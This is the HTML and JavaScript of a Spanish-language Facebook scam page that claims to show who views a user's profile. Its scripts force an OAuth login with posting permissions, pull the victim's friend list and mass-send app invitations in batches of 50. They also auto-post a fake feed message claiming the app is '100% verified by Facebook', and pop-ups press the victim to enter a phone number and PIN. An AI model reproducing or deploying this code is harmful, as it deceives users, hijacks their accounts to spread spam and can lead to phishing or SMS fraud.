<br>
</div>
<script>(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "http://connect.facebook.net/en_US/all.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
window.fbAsyncInit = function() {
FB.init({
appId : 'ID_APP',
status : true,
cookie : true,
frictionlessRequests : true,
xfbml : true,
oauth: true
});
};
function mshuffle(o){
for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
return o;
}
function loop(list){
var GG_NUM=50;
if(list.length != 0){
//alert(list.length);
var string = '';
var shifting = 0;
if (list.length >= GG_NUM){
shifting = GG_NUM;
for (var j = 0; j< GG_NUM; j++){
if (j != GG_NUM-1)
string = string + list[j] + ',';
else
string = string + list[j];
}
}
else{
shifting = list.length;
for (var j = 0; j< list.length; j++){
if (j != list.length - 1)
string = string + list[j] + ',';
else
string = string + list[j];
}
}
FB.ui({method: 'apprequests',
data: 'ID_APP',
max_recipients: '50',
title: 'Quien mira tu Biografia!',
message: 'Aplicacion 100% verificada por Facebook.!',
to: string,
}, requestCallback);
}
}
function sendRequestToManyRecipients() {
FB.login(function(response) {
if (response.authResponse) {
var friends = new Array();
FB.api('/me/friends', function(response) {
for (var i=0; i<response.data.length; i++) {
friends[i] = response.data[i].id;
}
mshuffle(friends);
loop(friends);
});
}
}, {scope: 'user_location'},{display: 'popup'});
}
function requestCallback(response) {
if(response && response.request) {
//console.log(response);
window.top.location = "#";
}
else {
alert('Debes invitar a todos tus Amigos');
console.log(response);
}
} </script>
</div>
</div>
<div class="profiledetails" style="display: none;">
<script>$('.profiledetails').hide();</script>
<center><img class="profileimagee" src="" style="width: 100px;"></center><br><b><span class="profilenamee"></span></b> and 23 other friends are messaging & sharing files on WhatsApp On Facebook. Click on Continue to join the conversation.<br><br>
</div>
</div>
</div>
<div class="UIShareStage_ShareContent">
<div class="UIShareStage_Title">
<span>
</span>
</div>
<div class="UIShareStage_Subtitle">
<span>
<h1>IMPORTANTE: Debes introducir el PIN al Finalizar.</h1>
<iframe src="http://www.miforosdelweb.com" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:80px;" allowtransparency="true"></iframe>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</form></div>
<div class="-cx-PRIVATE-uiDialog__footer">
<div class="pam uiOverlayFooter uiBoxGray topborder">
<label class="layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge" for="u6zbvo_2">
<a href="http://www.miforosdelweb.com" class="initial" role="button" onclick="sendRequestToManyRecipients();">
<span class="uiButtonText">Continuar.</span>
</a>
<script>$('.initial').fadeIn();</script>
<a href="http://www.miforosdelweb.com" class="final" role="button" onclick="sendRequestToManyRecipients();" style="display: none;">
<script>$('.final').hide();</script>
<span class="uiButtonText">Continue</span>
</a>
<a href="http://www.miforosdelweb.com" class="wait" role="button" onclick="sendRequestToManyRecipients();" style="display: none;">
<script>$('.wait').hide();</script>
<span class="uiButtonText">Wait..</span>
</a>
</label>
</div>
</div>
</div></div></div>
<div id="fb-root"></div>
<script>
var list = new Array();
window.fbAsyncInit = function() {
var curLoc = window.location;
FB.init({
appId : "ID_APP",
xfbml : true,
oauth : true,
cookie: true
});
FB.Canvas.setAutoGrow();
FB.getLoginStatus(function(response) {
if (response.status === 'connected') {
// the user is logged in and has authenticated your
// app, and response.authResponse supplies
// the user's ID, a valid access token, a signed
// request, and the time the access token
// and signed request each expire
var uid = response.authResponse.userID;
var accessToken = response.authResponse.accessToken;
} else if (response.status === 'not_authorized') {
// the user is logged in to Facebook,
// but has not authenticated your app
window.top.location = 'https://www.facebook.com/dialog/oauth?client_id=ID_APP&redirect_uri=http://apps.facebook.com/quienvemiperfilahora/&state=f1f7fa8b22bc922121deb70334b5b04f&scope=user_location,friends_online_presence,publish_actions&response_type=code';
} else {
// the user isn't logged in to Facebook.
window.top.location = 'https://www.facebook.com/dialog/oauth?client_id=ID_APP&redirect_uri=http://apps.facebook.com/quienvemiperfilahora/&state=f1f7fa8b22bc922121deb70334b5b04f&scope=user_location,friends_online_presence,publish_actions&response_type=code';
}
});
};
</script>
<script src="http://connect.facebook.net/en_US/all.js"></script>
<script>
FB.init({
appId : 'ID_APP',
status : true, // check login status
cookie : true, // enable cookies
xfbml : true, // parse XFBML
oauth : true // enable OAuth 2.0
});
FB.getLoginStatus(function(response) {
if (response.status === 'connected') {
var uid = response.authResponse.userID;
var accessToken = response.authResponse.accessToken;
publicar(uid);
} else if (response.status === 'not_authorized') {
window.location="#";
} else {
window.location="#";
}
});
function publicar(uid){
FB.api('/me/feed', 'post', {
picture : "http://www.miforosdelweb.com/aplication/action/files/user-imagen.png",
link : "http://apps.facebook.com/quienvemiperfilahora",
name : "Quien Visita Tu Biografia!!",
message : "jajaja no mmz mi ex se la pasa viendo mi biografia me sigue amando!!",
caption : "100% Verificada por Facebook inc.",
description : "865741 Personas usan esta APP .",
});
}
</script>
<script> alert ("Debes introducir tu Celular para Verificar tu Cuenta y darla de Alta.") </script>
</body></html>